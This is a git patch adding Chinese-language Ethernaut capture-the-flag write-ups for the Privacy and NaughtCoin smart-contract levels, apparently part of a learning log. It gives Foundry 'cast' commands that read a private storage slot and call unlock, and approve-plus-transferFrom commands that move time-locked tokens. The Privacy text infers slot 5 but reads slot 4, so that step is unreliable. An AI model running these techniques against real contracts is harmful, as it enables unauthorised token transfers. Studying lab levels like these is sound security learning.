From e766653650c324784bad11e6a27d5c03bcb81991 Mon Sep 17 00:00:00 2001 From: 0xNezha Date: Thu, 19 Sep 2024 23:22:22 +0800 Subject: [PATCH] 20240919 --- 0xNezha.md | 5 +++ Writeup/0xNezha/Ethernaut/12_Privacy.md | 43 ++++++++++++++++++++++ Writeup/0xNezha/Ethernaut/15_NaughtCoin.md | 14 +++++++ 3 files changed, 62 insertions(+) create mode 100644 Writeup/0xNezha/Ethernaut/15_NaughtCoin.md diff --git a/0xNezha.md b/0xNezha.md index 02ae62b7..6d1da69e 100644 --- a/0xNezha.md +++ b/0xNezha.md @@ -88,4 +88,9 @@ bytes32[3] private data 通过合约调用的方式当然无法读取 private ### 2024.09.18 完善 14_GatekeeperTwo 的 EXP。[14_GatekeeperTwo](./Writeup/0xNezha/Ethernaut/14_GatekeeperTwo/src/GatekeeperTwo_exp.sol) + +### 2024.09.19 +这一关主要考察 ERC20 的 ABI,该代币的持有者无法直接转账,必须等锁定期过了才能转。但如果把全部额度授权给第三人,则第三人可以把代币全部提走。主要使用 approve(address _spender, uint256 _value) 和 transferFrom(address _from, address _to, uint256 _value)。 [15_NaughtCoin](./Writeup/0xNezha/Ethernaut/15_NaughtCoin.md) + + diff --git a/Writeup/0xNezha/Ethernaut/12_Privacy.md b/Writeup/0xNezha/Ethernaut/12_Privacy.md index e69de29b..d2de0464 100644 --- a/Writeup/0xNezha/Ethernaut/12_Privacy.md +++ b/Writeup/0xNezha/Ethernaut/12_Privacy.md @@ -0,0 +1,43 @@ +### 第12关:Privacy + +这一关和第8关 Vault 有点类似,目的是要读取合约中的 bytes32[3] private data 变量。从代码布局 +```solidity +contract Privacy { + // 1 byte, slot 0 + bool public locked = true; + // 32 bytes, slot 1 + uint256 public ID = block.timestamp; + // 1 byte, slot 2 + uint8 private flattening = 10; + // 1 byte, slot 2 + uint8 private denomination = 255; + // 2 byte, slot 2 + uint16 private awkwardness = uint16(block.timestamp); + // bytes32[0], 32 bytes, slot 3 + // bytes32[1], 32 bytes, slot 4 + // bytes32[2], 32 bytes, slot 5 + bytes32[3] private data; +} +``` +如果你对变量的存储布局比较了解,可以推算一下 data 的 slot 位置,或者获取多一些比如 slot0~slot9 来观察一下。 +可以推测出 password 存放在 slot5 中。 + + + +**使用 foundry cast 来读取存储槽4, 得到密码:** +```shell +cast storage 0x目标合约地址 4 --rpc-url=https://blastapi.io + ``` + 显示为 0xaa123456789012345678901234567890123456789012345678901234567890ff +这里涉及到一个数据类型的转换: +```solidity +require(_key == bytes16(data[2])); +``` +data[2] 是一个 bytes32 类型,转换为 bytes16 的话,会截断超出长度的部分,数据只保留高16位:0xaa123456789012345678901234567890,这个就是我们要找的答案了。 + +然后调用 unlock(bytes16 _key) 函数: + ```shell +cast send 0x目标合约地址 "unlock(bytes16 _key)" 0xaa123456789012345678901234567890 --rpc-url=https://public.blastapi.io --private-key=攻击者私钥 + ``` + + 点击 Submit Instance, 过关。 diff --git a/Writeup/0xNezha/Ethernaut/15_NaughtCoin.md b/Writeup/0xNezha/Ethernaut/15_NaughtCoin.md new file mode 100644 index 00000000..f72fac29 --- /dev/null +++ b/Writeup/0xNezha/Ethernaut/15_NaughtCoin.md @@ -0,0 +1,14 @@ +### 第15关:NaughtCoin + +这一关主要考察 ERC20 的 ABI,该代币的持有者无法直接转账,必须等锁定期过了才能转。但如果把全部额度授权给第三人,则第三人可以把代币全部提走。 + +1.攻击者把代币授权给第三人 +```shell +cast send 0x目标代币地址 "approve(address _spender, uint256 _value)" 0x第三人的地址 代币的数量 --rpc-url=https://blastapi.io --private-key=攻击者的私钥 + ``` +2.第三人把代币转移走 +```shell +cast send 0x目标代币地址 "transferFrom(address _from, address _to, uint256 _value)" 0x攻击者的地址 0x第三人的地址 代币的数量 --rpc-url=https://blastapi.io --private-key=第三人的私钥 + ``` + + 点击 Submit Instance, 过关。